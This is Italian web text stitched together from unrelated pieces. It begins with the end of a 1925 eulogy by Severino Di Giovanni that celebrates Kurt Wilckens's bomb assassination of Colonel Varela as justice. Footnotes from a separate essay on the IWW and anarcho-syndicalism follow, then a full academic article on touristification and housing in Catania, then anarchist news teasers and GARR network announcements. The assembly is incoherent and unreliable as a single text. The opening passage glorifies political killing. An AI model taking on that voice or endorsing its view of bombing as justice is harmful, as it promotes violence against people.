dignità virile, non mancando mai in nessuno dei grandi avvenimenti ov’egli si trovasse vicino. Negli Stati Uniti, dove si era recato prima che scoppiasse la carneficina europea-mondiale, con ammirevole ardore prese parte attiva nel movimento ribelle della Virginia, segnalandosi per la sua vitalità rivoluzionaria. Arrestato fra gli applausi dei grossi yanqui dominatori delle miniere, che esigevano la sua deportazione. Ma egli, valendosi di ricorsi che la sua fertile mente gli era prodiga, potè abbandonare il carcere. Nel 1919 ritornò in Germania e li constatò amaramente che il nuovo regime installatosi nulla aveva di buono ed utile per le genti che anelavano la vera libertà. La falsa democrazia socialista di Ebert non faceva altro che ribattere le catene sotto le quali gemeva il popolo tedesco dai tempi del Kaiser. E dopo aver lavorato alcuni giorni nella fosca Ruhr, ritornò alla natale Amburgo e non incontrando neppure qui quel poco di pace, s’imbarcò mestamente per l’Argentina, incrociando per la seconda volta l’Oceano. Nella terra di Ameghino e di Alberdi, gli venne…democraticamente negata l’entrata al paese dal dipartimento di Immigrazione. Riconosciuto da una spia, questi lo denunciò alle autorità come elemento pericoloso. Per mezzo di un avvocato, ammiratore del suo Ideale, che lo difese con tanto calore e dopo aver passato vari mesi in prigione potè far valere il diritto di permanenza nell’Argentina, naturalmente sottomesso a vigilanza speciale dalla sbirraglia poliziesca. Come corrispondente del periodo anarchico “Alarm” di Amburgo, cominciò a svolgere le sue attività nel paese del “pesos.” Gli elementi reazionari, nel frattempo facevano sentire la pesantezza della loro tirannide nella Patagonia, falciando i migliori militanti della rivoluzione. In Buenos Aires e negli altri centri avanzati dell’Argentina fu necessario costituire dei comitati di agitazione. Kurt Wilckens formava parte di uno di questi comitati, sempre spiegando la sua attività. Il bavaglio si estendeva, arrivando a sopprimere ogni libertà di riunione e di parola. Tutto ciò però era inutile, lo scopo del governo era di far passare nel massimo silenzio quanto avveniva nel territorio di Santa Cruz. Sotto il terrore sanguinario del Varela cadevano uccisi 1500 lavoratori nel modo più barbaro che ricordi la storia del movimento rivoluzionario americano in generale, lasciando nell’incubo, nella misera e nel lutto i superstiti. Un grido unanime di collera si levò, fosco, dalle gole del popolo davanti a questo infame massacro che si vuole paragonare alla strage degli Ugonotti nella famosa “notte di S. Bartolomeo.” Ritornò Ettore Varela, l’Attila argentino, in Buenos Aires dopo aver ridotta la tragica Santa Cruz in un vasto cimitero di morti e di vivi. Corsero i ruffiani dalla società assassina, torbidi e cinici, ad applaudire e a gozzovigliare inneggiando alla feroce gesta. Il Wilckens, davanti a questo spettacolo ributtante, si ribellò e il 26 Gennaio 1923, incontrando il carnefice Varela nella pubblica via, gli lanciò una bomba lasciandolo cadavere come un cane idrofobo. Egli stesso, Wilckens, per salvare una bimba che casualmente si trovava in quei paraggi, con ammirevole sangue freddo, gli fece scudo col suo corpo rimanendo gravemente ferito. Giustizia era fatta! I massacrati di Santa Cruz erano in parte vendicati! La notizia, come folgore, corse in ogni angolo dell’Argentina, diffondendo nelle anime buone ed umane un gran sospiro di sollievo. Il nome di Kurt Wilckens diventava agli occhi del popolo la bandiera della Giustizia. I legislatori impauriti di portare davanti ai tribunali una figura così nobile e per evitare il processo che avrebbe accusati gli accusatori, decisero di farlo scomparire. Armarono la mano di un sicario, Pérez Millàn, e nell’alba del 16 Giugno 1923, vigliaccamente, mentre dormiva, gli scaricò la sua arma. L’assassino, che era carceriere, ributtante e calmo, aspettava con l’arma ancora fumante nelle mani la lode e la paga del suo…eroismo patriottico! Dopo 20 ore di agonia terminava di vivere quest’eroe dell’azione, forza sovrumana e demolitrice, cuore buono e fraterno. Nella notte seguente, paurosi e vili, becchini schifosi come contrabbandieri del decoro umano, i mandanti del delitto involarono il suo cadavere che la folla tumultuosa richiedeva per rendergli l’ultimo tributo d’affetto e l’omaggio di fraterna mestizia. Buenos Aires, Giugno 1925. Severino Di Giovanni.»
7Osvaldo Bayer, Anarchism and Violence: Severino Di Giovanni in Argentina—1923–1931 (London: Elephant Editions, 1987).
8Vedere Rudolf Rocker, Anarchism and Anarcho-Syndicalism (London: FreedomPress, 1988). Ed Andrew ci ricorda che Malatesta «considerava l’ “anarco-sindacalismo” come un termine bastardo: “o è uguale all’anarchia ed è quindi una parola che serve solo a confondere le idee, o è una cosa diversa dall’anarchia e perciò non può essere accettata dagli anarchici”» Andrew concludeva che «l’anarco-sindacalismo nasce quindi da un’unità dialettica, non da una semplice identità dell’anarchismo e del sindacalismo.» Vedere Ed Andrew, Closing the Iron Cage: The Scientific Management of Work and Leisure (Montreal: Black Rose Books, 1981), pp. 154–55. Nota del blog. La citazione di Malatesta è tratta dall’articolo Sindacalismo e anarchismo, Pensiero e Volontà, a. II, n. 6, 16 Aprile 1925, p. 126-128. Link.
9Rocker, Anarchism and Anarcho-Syndicalism, p. 39.
10Jeremy Jennings, Syndicalism in France: A Study of Ideas (New York: St Martin’sPress, 1990), p. 23.
11Benjamin Martin, The Agony of Modernization: Labor and Industrialization in Spain (Ithaca, N.Y.: Cornell University Press, 1990), p. 198.
12Dan Georgakas, The Wobblies, The Making of a Documentary: An Interview with Stewart Bird and Deborah Shaffer, Cineaste 10, no. 2 (Spring 1980): 15.
13Nota del blog. Ci si riferisce a una frase di Earl Browder, segretario del Partito Comunista degli Stati Uniti (CPUSA): «Il comunismo è americano come la torta di mele.» La citazione corretta è: «noi siamo americani e il comunismo è l’americanismo del ventesimo secolo» (What Is Communism? 8: Americanism – Who Are the Americans?, New Masses, Volume 15, n. 13, 25 Giugno 1935. Link ; Revolutionary Background of the United States Constitution, The Communist, Volume 16, n. 9, Settembre 1937. Link). Porton utilizza questo riferimento per sottolineare la natura autoritaria, pro-nazionalista statunitense e anti-rivoluzionaria di Browder e, più in generale, del CPUSA degli anni ‘30 e ‘40.
14Nota del blog. Vedasi Sinistra, nuova in Enciclopedia Treccani. Link
15Vedere Noel King, “Recent ‘Political’ Documentary: Notes on Union Maids and Harlan County USA,” Screen 22, no. 2 (1981): pp. 7–18. King sembra preferire i documentari neo-brechtiani come The Night Cleaners, che hanno riscosso successo soprattutto tra altri intellettuali neo-brechtiani.
16In una conversazione con l’autore (Maggio 1987), Dolgoff ammise che molti membri dell’IWW erano ben lontani dall’essere anarchici, ma raccontò dei suoi sforzi per mantenere una posizione anarco-sindacalista all’interno dell’organizzazione durante gli anni ’30. Si veda anche l’autobiografia di Dolgoff, Fragments: A Memoir (Cambridge, Regno Unito: Refract Publications, 1986), pp. 53–54.
17Queste domande sono tratte da Dubofsky, We Shall Be All, pp. 260–62.
18Per ulteriori informazioni sul “Paterson Pageant”, si veda Steve Golin, The Fragile Bridge: Paterson Silk Strike, 1913 (Filadelfia: Temple University Press, 1988). Nota del blog. In italiano si veda l’articolo di Linda Nochlin, Il Pageant dello sciopero di Paterson del 1913, Ácoma. Rivista internazionale di studi nordamericani, a. VI, n. 6, Primavera 1999, pp. 22-29. Link
19Hakim Bey, “An Esoteric Interpretation of the I.W.W. Preamble,” International. Review 1 (1991): p. 3. Per una visione meno benevola dell’anarco-sindacalismo e della recente incarnazione dell’IWW, si veda Michael William, “The ‘Bufe-ooneries’ Continue: A Response to Chaz Bufe’s ‘Primitive Thought’ and to the Misery of Anarcho-Syndicalism,” Demolition Derby 1 (s.d.): 18–29. Sulla stessa linea, P. D. Anthony scrive che «i sindacalisti si creano da soli l’impossibile dilemma di cercare di risolvere il problema dell’autorità, sottolineando l’importanza del lavoro, che, al giorno d’oggi, è inseparabile dal problema dell’autorità». Cfr. Anthony, The Ideology of Work (Londra: Tavistock, 1977), p. 110.
20Metello è tratto dal celebre romanzo di Vasco Pratolini. Secondo un critico italiano, il protagonista ha avuto la “maturità” di rifiutare l’anarchismo e abbracciare il socialismo tradizionale. Cfr. Vittorio Cordero Montezemolo, Conversazioni con Mauro Bolognini (Milano: Ministero degli Affari Esteri, 1977), pp. 158–163.
Pubblicato su Quaderni leif. Semestrale del Centro Interdipartimentale di Studi su Pascal e il Seicento (CESPES), XIX (2026), 27, pp. 80-88 doi: 10.58035/unict-ql.27.2026.8
Abstract The text critically examines the housing crisis and the touristification of historic urban centers, with particular reference to Catania. It argues that the commodification of housing, intensified by short-term rentals and tourism-led development, has undermined the right to dwell in the city. Such dynamics have fostered gentrification, displaced residents from central areas, and weakened the social and civic fabric of urban life. The historic center is thus reconfigured as a space of consumption, heritage display, and external investment rather than everyday inhabitation. The author ultimately advocates for an alternative urban vision grounded in inclusivity, care, social justice, and the primacy of residents’ needs. Keywords: Housing crisis; Touristification; Gentrification; Urban inequality.
La società del nostro tempo ci pone dinnanzi a tante nuove sfide: una tra queste è rappresentata dal ripensamento del concetto di città. Con la globalizzazione, l’uomo può scegliere in che parte del mondo stabilirsi senza incorrere nel pericolo di ritrovarsi in una situazione di completa estraneità. Ogni paese conserva la propria cultura, questo è certo, ma al giorno d’oggi l’uomo può considerarsi come cittadino del mondo. In effetti, ovunque si trovi il cittadino cosmopolita avrà la certezza di poter intessere delle relazioni che annulleranno le differenze culturali. Ma qual è il costo di questa nuova frontiera relazionale? La società del consumo che trasforma desideri, passioni ed hobby in oggetti da acquistare, sarà capace di assorbire questa rivoluzione nel modo di stare al mondo, facendo sì che ciò non diventi un nuovo mercato da sfruttare? Nel corso di questo lavoro cercheremo di rispondere a queste domande, prendendo ad esempio una città isolana, pertanto centro turistico e commerciale di primo piano del sud Italia.
Prima di addentrarci nel cuore delle problematiche etiche e urbane di Catania, ci sembra doveroso effettuare una piccola analisi sul concetto di città, che resta di difficile collocazione. È un’idea che può variare da cultura a cultura, da epoca ad epoca e risente di influssi, talvolta, colonialisti. Nella società occidentale questo concetto assume una forma ben precisa: la costruzione di un sistema complesso, interconnesso, in cui gli abitanti dipendono l’un l’altro ma in cui l’obiettivo è quello di emergere dalla collettività, separando il proprio ego da quello altrui. Ogni ideale trova la propria concretizzazione in un’istituzione ben precisa e strutturata. L’isolamento dell’individuo rappresenta un tema di fondamentale importanza in questo lavoro, che approfondirà l’argomento della gentrificazione e della crisi abitativa nelle città, e nel particolare analizzerà la situazione catanese. La costruzione della città “nuova” del capoluogo etneo risale al piano regolatore coordinato da Giuseppe Lanza, duca di Camastra, a seguito del catastrofico terremoto del 1693.1 Rispetto all’assetto medievale, la nuova disposizione fu pensata per ovviare al problema della sicurezza dei cittadini. Piazze, palazzi e strutture vennero riformulati in chiave antisismica, puntando sulla larghezza e sul movimento. Tutto il Val di Noto venne ricostruito in chiave tardo barocca. Catania non fece eccezione: tra i mascheroni grotteschi e le facciate “in movimento” si unì il gusto artistico alla sicurezza architettonica. L’ambiente, come notiamo, influenza l’organizzazione della società ed è parte integrante della costruzione dell’uomo. Egli non può prescindere dalla terra che abita. Eppure, l’assetto urbano moderno taglia fuori l’aspetto della relazione con la natura. E in quest’ambito le grandi città occidentali presentano un aspetto più o meno simile. Vi sono delle differenze importanti tra città europee ed extraeuropee, però. In Europa esiste un “centro storico”, luogo preposto alla socialità, all’amministrazione e al commercio. Il downtown americano presenta delle caratteristiche differenti: la costruzione delle città americane è di recente nascita e dunque la suddivisione delle aree urbane e lo stesso concetto di città risente di altri parametri. Primo fra tutti la suddivisione tra vita domestica e lavoro. Il centro è pensato come luogo in cui vivere la dimensione lavorativa. Grattacieli e superstrade dominano i paesaggi delle grandi metropoli americane.2 La situazione è totalmente differente nel vecchio continente. Vivere il centro storico, soprattutto nelle città italiane, vuol dire assaporare un determinato stile di vita e godere dell’estetica offerta dalle testimonianze delle epoche passate. La fortuna delle città con un importante passato storico è rappresentata dal patrimonio artistico e culturale che forma la personalità civica e morale del cittadino che la fruisce. Vivere la città significa avere cura del passato ereditato, avere coscienza del territorio che si abita, comprendere di essere un individuo immerso in una comunità, partecipando alla costruzione dei significati condivisi dalla collettività. Con l’avvento della globalizzazione, i viaggi legati alle visite di piacere e cultura si sono intensificati. Dai grand tour dei viaggiatori del Settecento, antenati dell’odierno Erasmus, aventi come scopo la conoscenza di culture straniere, i viaggi con finalità turistiche inglobano questa tipologia di esploratori aggiungendone anche altre: coloro che viaggiano per rilassarsi, godendosi la scoperta di città e culture come contorno del viaggio. La turistificazione delle città è il risultato naturale della globalizzazione. Il viaggiatore con il passaporto in mano si sente cittadino del mondo, proprietario di un passepartout funzionante ovunque vada. Questo è vero in parte. L’uomo occidentale, possessore delle chiavi del mondo vive i viaggi come una passeggiata tra le vie del proprio quartiere. La fruizione delle città è a disposizione di chi reca con sé possibilità economiche. In poche parole, il turismo è un commercio e la merce di scambio è rappresentata dall’anima di un territorio venduta al miglior offerente. In questo lavoro scandaglieremo il caso di Catania, città alle pendici del vulcano attivo più alto d’Europa, l’Etna, attirante turismo naturalistico, artistico e culturale.
1. Case vacanza
Lo sviluppo economico della città di Catania è legato al boom delle industrie zolfatare, tessili e altre. Già dalla fine dell’Ottocento, il capoluogo etneo presentava una variegata popolazione costituita da classi borghesi e commercianti. L’intraprendenza catanese fece sì che la città diventasse un polo industriale e commerciale di primo piano. Arrivarono investitori da altre città e dall’estero. Uno dei primi esempi di attività alberghiera a Catania fu quello del Grand Hotel, ex sede di un’industria tessile, appartenente alla famiglia Fischetti, nel quartiere di San Berillo. Fu proprio il proprietario della fabbrica, Rosario Fischetti, a scorgere l’opportunità rappresentata dall’inaugurazione della vicina stazione ferroviaria di Catania nel 1873, aprendo le porte del proprio palazzo per farlo diventare un sontuoso hotel in cui soggiornarono nomi e volti noti (tra gli altri ricordiamo Bismarck, Cairoli e Sarah Bernhardt), godendosi la vista sull’Etna dalle finestre affacciate sull’allora Piazza Cappellini.3 Il quartiere di San Berillo era formato da un labirinto di vie che sbucavano in piazze che abbracciavano palazzi barocchi, in cui piccole attività commerciali si fondevano con le case. Il quartiere rappresentava il cuore pulsante del centro storico catanese e racchiudeva l’anima degli abitanti della città. Ogni aspetto della vita veniva condiviso comunitariamente. Quando venne approvato il progetto di risanamento del quartiere, la città subì uno sfregio da cui non si riprese mai più. Attraverso ISTICA, l’istituto preposto alla demolizione e ricostruzione del vecchio quartiere nel modernissimo asse Corso Sicilia-Corso Martiri della libertà, che sarebbe servito come viale per collegare il centro storico alla stazione centrale, Catania perse parte della sua identità. Le distruzioni e le ricostruzioni sono da sempre parte della memoria della città etnea ma in questo caso la mano distruttiva fu quella dei propri abitanti, che attraverso un referendum di democrazia partecipata scelsero la costruzione della city finanziaria, con la promessa da parte degli investitori che la città avrebbe guadagnato in efficienza, modernità ed igiene, adducendo la scusa che San Berillo rappresentava un’emergenza sanitaria.4
Una volta delineato il quadro storico e identitario della città possiamo addentrarci nella problematica che si analizzerà in questo paragrafo. Con il cambiamento della morfologia urbana la città inizia a essere percepita non più come comunità ma come luogo in cui mandare avanti la propria quotidianità attraverso il lavoro, quindi prevalentemente come centro economico. Così l’uomo perde entusiasmo e diventa l’ingranaggio della macchina-città, annoiato dagli stimoli di un centro urbano sempre più vasto in cui perdersi.5 Anche il concetto di casa muta attraverso i cambiamenti epocali che la società attraversa dal dopoguerra in poi. L’abitazione passa dall’essere un diritto all’essere una merce.6 In inglese il concetto appare rafforzato. In effetti, Madden e Marcuse utilizzano home per indicare il diritto all’abitare, mentre chiamano housing il caso dell’abitazione utilizzata come merce. Le città sono luoghi d’investimento, quindi non sorprende che le case diventino capitale da sfruttare. Con l’ammodernamento della città, frutto delle nuove infrastrutture, Catania entra a far parte del cerchio delle destinazioni turistiche. E con questo nuovo status, fioriscono le attività legate alla ricezione turistica. Se dapprima la novità delle case vacanze venne accolta come una novità positiva da parte dei catanesi, con il tempo l’emergenza affitti ha evidenziato un problema sistemico. La minor disponibilità di case a disposizione di chi vuole una residenza fissa fa volare i prezzi degli affitti alle stelle, favorendo i proprietari degli immobili e indebolendo le fasce più deboli della popolazione cittadina. In questo modo il processo di gentrificazione sfugge di mano agli attori principali, ovvero coloro che vivono la città e avrebbero diritto a partecipare alle decisioni collettive. Lees, Slater e Wyly ci parlano di gentrificazione dall’alto, distinguendola dal movimento spinto dal basso (gentrification from below), criticando le politiche municipali incentivanti il capitale privato, come se la gentrificazione favorisse una forma di violenza strutturale.7 Si ridisegna l’asset urbano, favorendo la ristrutturazione delle facciate di chiese e palazzi antichi per rendere il centro storico attraente per il turista di turno, spostando ospedali e servizi essenziali in periferia. La progressiva musealizzazione del centro storico attira sempre di più gli investitori, spesso stranieri, accentuando maggiormente il rent gap, ovvero la differenza tra il valore attuale di un immobile e quello che avrà dopo la trasformazione di un intero quartiere. Neil Smith a questo proposito si esprime in termini di “colonizzazione interna” della città.8 Vi è un’autentica invasione che spinge certe fasce sociali ai confini. Gli esempi concreti di spostamento dei servizi nel catanese stanno avvenendo sotto ai nostri occhi proprio negli ultimi anni. Con lo sradicamento dei presidi ospedalieri dal centro, il cittadino subisce una perdita in termini di servizi essenziali. Al posto degli ospedali sorgono o sorgeranno musei e piazze per “riqualificare” intere aree urbane. Mentre gli ospedali, i consultori, gli ambulatori spariscono, le case vacanza e i B&B sorgono come funghi ad ogni angolo, garantendo affitti brevi a chi vuole assaporare la città per poi poterla pubblicizzare come nuovo oggetto esotico da mostrare sui social. La dicotomia è presto servita su un piatto d’argento: i luoghi appartengono a una specifica popolazione o il mondo è di tutti, e pertanto i confini sono delle linee arbitrarie disegnate su una mappa? Non ha, forse, diritto un imprenditore di investire e guadagnarsi da vivere attraverso il turismo? Quesiti inquietanti che presentano delle sfumature non così nitide. Proviamo a rispondere alla prima. Partiamo da una breve analisi storica per farlo. Le nazioni sono il frutto di un processo così come l’idea di popolo. Il passaggio dall’antico regime allo stato moderno avvenne in modo tortuoso, attraversando momenti in cui si andò avanti per tentativi ed errori. Chiaramente vi era una stabilità culturale ancora prima che l’intero processo si mise in atto. Lingue, costumi, usi e identità erano una componente abbastanza stabile appartenente alle genti di determinati territori. L’appartenenza alla propria terra era un sentimento già diffuso. La costituzione degli stati ha rafforzato la questione identitaria, però. Si può, dunque, asserire che un pezzo di terra sia proprietà di chi la abita? Il concetto di possesso non può che rimandarci a ciò che Rousseau aveva teorizzato nel suo Discours sur l’origine et les fondements de l’inégalité parmi les hommes e cioè che «la prima persona che, dopo aver recintato un pezzo di terreno, si è messa in testa di dire questo è mio e ha trovato persone così ingenue da credergli, è stato il vero fondatore della società civile»9, aggiungendo che «i frutti appartengono a tutti, ma la terra non è di nessuno».10 Se accettiamo la lezione del pensatore ginevrino dovremmo assecondare la spinta globalizzatrice, eppure sembra che la questione non possa essere risolta con l’idea che il mondo appartiene a tutti e a nessuno. L’ideale umano della fratellanza viene messo a dura prova da un sistema che trasforma qualsiasi ambito sociale in affare economico. È il capitalismo che esaspera le condizioni di processi “naturali” come la migrazione e il movimento umani. Se una data comunità ha deciso di stanziarsi in un territorio non può di certo essere la logica del denaro a decidere chi deve spostarsi verso dove o chi ha bisogno di cosa. Si potrebbe rispondere a quest’argomento asserendo che gli strumenti economici sono un mezzo di sopravvivenza per la specie umana.
D’altronde, l’essere umano usa le armi a propria disposizione per garantirsi un soggiorno più lungo e confortevole sul pianeta. I numeri allarmanti, messi a nostra disposizione da geologi, climatologi, tecnici ambientali ecc., ci forniscono l’idea che forse il sistema usato per garantirci la sopravvivenza è andato troppo in là, distruggendo l’unico habitat che conosciamo. Questa metafora “climatica” ci permette di capire come il sistema capitalistico abbia preso largo in qualsiasi ambito della vita umana, sorpassando limiti e ristrutturando regole a proprio piacimento. Il non rispetto delle condizioni di chi si trova ad occupare per scopi abitativi un territorio, sfruttando la componente del marketing per attirare denaro, rappresenta una delle conseguenze del capitalismo.
2. Una città da mostrare
L’analisi fin qui condotta permette di pervenire alla fase finale del progetto di gentrificazione: attraverso l’espulsione degli abitanti verso zone periferiche e la proliferazione delle attività ricettive si completa il processo di musealizzazione della città. Il centro storico diventa un museo a cielo aperto fatto di percorsi realizzati ad hoc per invogliare il turista a consumare una pizza tra i vicoli o ad acquistare souvenir stereotipati di dubbia qualità e dal prezzo ipertrofico. La città si presenta seducente, illuminata da luci soffuse e abbellita da decorazioni che strizzano l’occhio alla festività di turno o alla presenza di attività limitrofe. Il caso dei famosi ombrellini che fanno da soffitto immaginario al centro storico catanese, posti proprio a segnalare la presenza dei locali della movida, è esemplare. Numerosi sono i TikTok di chi visita la città e rimane affascinato dal trionfo di colori svettanti sopra le proprie teste. Questo meccanismo di commercializzazione dell’autenticità è solo un’altra faccia della turistificazione. Perdipiù, forzarla rischia proprio di far perdere di veridicità i costumi, offrendo sia allo spettatore esterno che all’autoctono un sapore di artefatto.11 A questo proposito, la cultura assume il ruolo di placebo nei riguardi dell’espulsione del cittadino poiché viene utilizzata come dolcificante per edulcorare la pillola.12 Con la scusa dei palazzi storici, delle chiese, del patrimonio UNESCO, si tenta di giustificare lo sventramento di interi quartieri a favore della città-museo. L’analisi delle criticità della turistificazione non vuole, però, sminuire il ruolo della preservazione e della cura dell’arte e della bellezza della città. Semmai, si vorrebbe rivendicare la fruizione di quest’ultime da parte del cittadino in primis. Il caso di Venezia è emblematico. Infatti, da qualche anno il capoluogo lagunare ha approntato il pagamento di un ticket per accedere alla città, per cercare di ovviare al problema dell’over-tourism.13 Un’attenta educazione artistica e ai valori civici non possono che rafforzare la cura che ogni cittadino dovrebbe riservare al luogo in cui vive. La mancata analisi socio-politica del tessuto urbano ha portato a una scissione sempre più irreparabile tra le istituzioni e i cittadini. Interi quartieri vivono il mancato coinvolgimento alla vita politica come un vero e proprio abbandono. Ciò porta a una sorta di ribellione e distaccamento da parte dei quartieri, considerati periferici, proprio per questa traumatica separazione tra ciò che viene curato, cioè il centro, vero e proprio salotto accogliente, e i distaccamenti in cui vivono i cittadini di serie b. Il risultato è che molte zone della città non ricevono la stessa cura delle aree turistiche, con conseguente rassegnazione della popolazione. Il cittadino si abitua al degrado e inizia a considerarlo parte dell’arredo urbano. Oltre all’aspetto esteriore, il degrado assume forme più subdole: esso diventa pratica relazionale. I rapporti tra cittadini che vivono nel disagio non possono che soffrire di una condizione degradante. Il senso di comunità si perde, così come quello della cura. Il rispetto per il luogo in cui si vive si riflette soprattutto nella cura che si ha per il vicino. Questa problematica ci porta a un concetto molto discusso: può esistere una rigenerazione urbana? Sappiamo che dietro a quest’idea si intravede l’ombra di investimenti economici e progetti di marketing legati allo sfruttamento di certe aree “malfamate”, da ridisegnare e trasformare in luoghi “nuovi”.14 Ma chi beneficia davvero di questa rigenerazione? Agli occhi degli abitanti delle aree degradate si compie una sorta di colonizzazione, mentre da parte di chi la compie si avverta la “Sindrome di Cristoforo Colombo”.15 Il salvatore del degrado è simile al navigatore genovese: parte alla conquista di territori da scoprire, non rendendosi conto che esiste già una popolazione autoctona. A questo punto è chiaro come certi meccanismi non possano essere imposti dall’alto ma dovrebbero nascere dal dialogo o dal conflitto, all’interno della stessa comunità.
3. Una prospettiva diversa
L’analisi condotta fin qui evidenzia un problema di prospettiva: la città, così com’è, appare progettata da gruppi che detengono il potere. Innanzitutto, la struttura delle città occidentali o occidentalizzate presenta un assetto che favorisce il pendolarismo casa-lavoro, sfavorendo il tema della cura. In moltissimi casi, soprattutto al sud, sono ancora le donne ad occuparsi della gestione della casa e della famiglia, sobbarcandosi il peso delle trasferte sui mezzi pubblici, spesso inefficienti. Con lo spostamento dei servizi dal centro alle periferie, questo problema è andato aggravandosi. Assieme alle difficoltà di movimento, le donne ne sperimentano altre, non meno gravi. Se l’uomo è percepito come una presenza neutra per le strade della città, non si può dire lo stesso delle donne. Gli sguardi inquisitori, curiosi e invadenti rendono la permanenza del genere femminile per le strade spesso insicura.16 Nel paragrafo precedente si è parlato di degrado esterno e interiorizzato. Certamente, l’assenza di illuminazione efficiente e la presenza di sporcizia non aiutano le soggettività a rischio ad avvertire un senso di sicurezza. In una città “brutta” la percezione del pericolo cambia radicalmente. È incontestabile che l’essere umano si senta più a suo agio in uno spazio curato e bello dal punto di vista estetico, e non solo. La cura verso le soggettività più deboli fa parte della responsabilità che una comunità nutre verso il luogo che abita. Spostandoci all’urbanistica, la situazione delle donne non migliora. I marciapiedi sono spesso inadatti alla fruizione da parte delle mamme con passeggini, poiché troppo stretti o occupati da automobili. Riprogettare la città, pensando alle soggettività marginali, non può che rappresentare il futuro delle aggregazioni urbane. Una città che non si pone il problema di includere è una città che rischia di sprofondare nel buco nero della storia. Pertanto, la prospettiva diversa che dà il nome al paragrafo, non può che essere una prospettiva di abbattimento della struttura sociale esistente, quella piramidale, con a capo un uomo occidentale, normo-abile, legato a una visione capitalista e patriarcale del mondo. Riabbracciare il rapporto umano-natura non può che far parte di questa nuova prospettiva. Una città che non ingloba l’aspetto della natura nelle proprie politiche, con conseguente rispetto verso gli altri animali si ritroverà a fare i conti con i disastri ambientali provocati da un’urbanizzazione selvaggia. La prospettiva dovrebbe, quindi, passare dall’essere verticale all’essere orizzontale. Una società in cui le decisioni sono prese dall’alto, favorendo le élite di turno, non potrà che accentuare le ingiustizie e le disuguaglianze. Le popolazioni dovrebbe essere al centro della vita e delle decisioni riguardanti la propria città. La trasformazione di quest’ultima in un prodotto da vendere al turista non può che esacerbare le disuguaglianze sociali, e rischia di trasformare anche il sentimento di appartenere a un luogo da chiamare casa in valore economico. La “follia” capitalista appare inarrestabile e assume forme inafferrabili, d’altro canto. L’uomo contemporaneo si pensa come un ego solitario, immerso in obiettivi professionali, con hobby a cui dedicare i propri ritagli di tempo dopo una giornata passata a pensare al profitto. Il percorso di vita appare per tutti lo stesso: lavorare, avere una famiglia, comprare cose, pretendere di possedere sempre di più, abbandonando ogni forma di pensiero critico, delegando ad altri il compito di pensare e di prendere decisioni al proprio posto. Una macchina perfetta al servizio della produzione. Di fronte alla velocità del mondo globalizzato, però, il ritorno dell’umano a sé stesso e alla terra appare come una via di fuga liberatrice da una trasformazione in macchina di tutte le specie e del pianeta stesso.
Note
(*) Università di Catania, Laureanda in Scienze Filosofiche (LM-78)
1Archivio di Stato di Catania (d’ora in poi ASC) Fondo Atti Notarili, Notaio Carlo Lo Monaco, cc. 353-356 (1693–1696)
2Cfr. L. Wirth, Urbanism as a Way of Life, in «American Journal of Sociology» 44, no. 1, 1938, pp. 1-24.
3E. Lombardo, comunicazione personale, 24 novembre 2025.
4Cfr. C. Barbanti, Problematizzare il ‘basso’ nei processi di rigenerazione urbana per un’autentica inclusività: il caso di San Berillo a Catania, in «Tracce Urbane. Rivista italiana transdisciplinare di studi urbani» 8, no. 12, 2023, p. 166.
5Cfr. Georg Simmel, La metropoli e la vita dello spirito, in «Rivista di Scienze del Territorio», n. 3, 2015, Firenze University Press, p. 350-354.
6Cfr. D. Madden & P. Marcuse, In defense of housing, Londra,Verso Books, 2016, p. 60.
7Cfr. L. Lees, T. Slater & E. Wyly, Gentrification, Londra, Routledge, 2008, p. 222.
8Cfr. N. Smith, The New Urban Frontier: Gentrification and the Revanchist City, Londra, Routledge, 1996, pp. 64-6
9«Le premier qui, ayant enclos un terrain, s’avisa de dire ceci est à moi et trouva des gens assez simples pour le croire, fut le vrai fondateur de la société civile» (trad. mia); J.-J. Rousseau, Discours sur l’origine et les fondements de l’inégalité parmi les hommes, Parigi, Hachette Livre, 1997, p. 76.
10«Les fruits sont à tous, et que la terre n’est à personne» (trad. mia); ivi.
11Cfr. S. Zukin, Naked city: the death and life of authentic urban places, Oxford University Press, Oxford-New york, 2010, p. 45.
Francisco Solar, Joaquín García: Sulla situazione di salute del compagno Juan Aliste Vega Sulla situazione di salute del compagno Juan Aliste Vega di Francisco Solar e Joaquín García È stato…
Scontri in Ucraina. Oltre 200 persone hanno attaccato i militari e ribaltato un veicolo per il reclutamento (Leopoli, Ucraina, 8 luglio 2026) Gravi scontri tra civili, militari e forze dell’ordine…
Chiamata per un Agosto Nero in memoria degli anarchici Luciano Balboa (Lupi), Luciano Pitronello (Tortuga) e Belén Navarrete Tapia [Stato cileno] Chiamata per un agosto nero in memoria dei compagni…
GARR, OGS e Università di Trieste sono entrati a far parte di SUBMERSE (SUBMarine cablEs for ReSearch and Exploration), l’innovativo progetto finanziato dall’Unione europea che mira a utilizzare i cavi sottomarini esistenti come sensori estesi geograficamente, già impiegati dalla comunità della ricerca e dell’istruzione, per monitorare la Terra e i suoi sistemi.
Sono aperte le iscrizioni alla Conferenza GARR 2026, l’appuntamento annuale della comunità della ricerca e dell’istruzione in cui si condividono esperienze, progetti e visioni sull’uso delle infrastrutture e dei servizi digitali. Un’occasione di confronto tra chi utilizza la rete GARR e chi contribuisce ogni giorno a svilupparla e innovarla.
La nuova edizione di GARR NEWS è dedicata al tema della sostenibilità, intesa nel suo significato più ampio: tecnologico, ambientale, economico e sociale. Non come obiettivo astratto, ma come criterio guida per progettare infrastrutture digitali capaci di durare nel tempo, adattarsi al cambiamento e continuare a generare valore per la comunità della ricerca e dell’istruzione.
GARR è alla ricerca di 4 persone laureate (triennale) con la passione per la rete e le tecnologie di comunicazione per ricoprire il ruolo di NOC Specialistnella sede di Roma.
Prende il via il ciclo di webinar “Accessibilità digitale: da obbligo a opportunità”, promosso da GARR e dedicato ai principali temi dell’accessibilità digitale come diritto fondamentale e fattore di qualità dei servizi online.
È disponibile il nuovo Piano Triennale GARR 2026–2028, che definisce la strategia per rendere la rete nazionale della ricerca più resiliente e innovativa in un mercato delle telecomunicazioni in continua evoluzione.
Il Network Performing Arts Production Workshop (NPAPW), l’iniziativa congiunta di GÉANT e Internet2 che da oltre quindici anni unisce arti performative, ricerca scientifica e tecnologie avanzate, è tornato nel 2025 con un’edizione ricca di novità e testimonianze dal mondo della creatività che incontra il digitale.
Vi presentiamo Security Date, il nuovo ciclo di incontri, online e in presenza, dedicati alla sicurezza informatica e alle identità digitali, ispirato all’esperienza dei Security Days.
ISOC Italia, il capitolo nazionale di Internet Society, l’organizzazione internazionale che promuove lo sviluppo di Internet come risorsa aperta, sicura e accessibile a tutti compie 25 anni e celebra questa ricorrenza con un evento speciale.
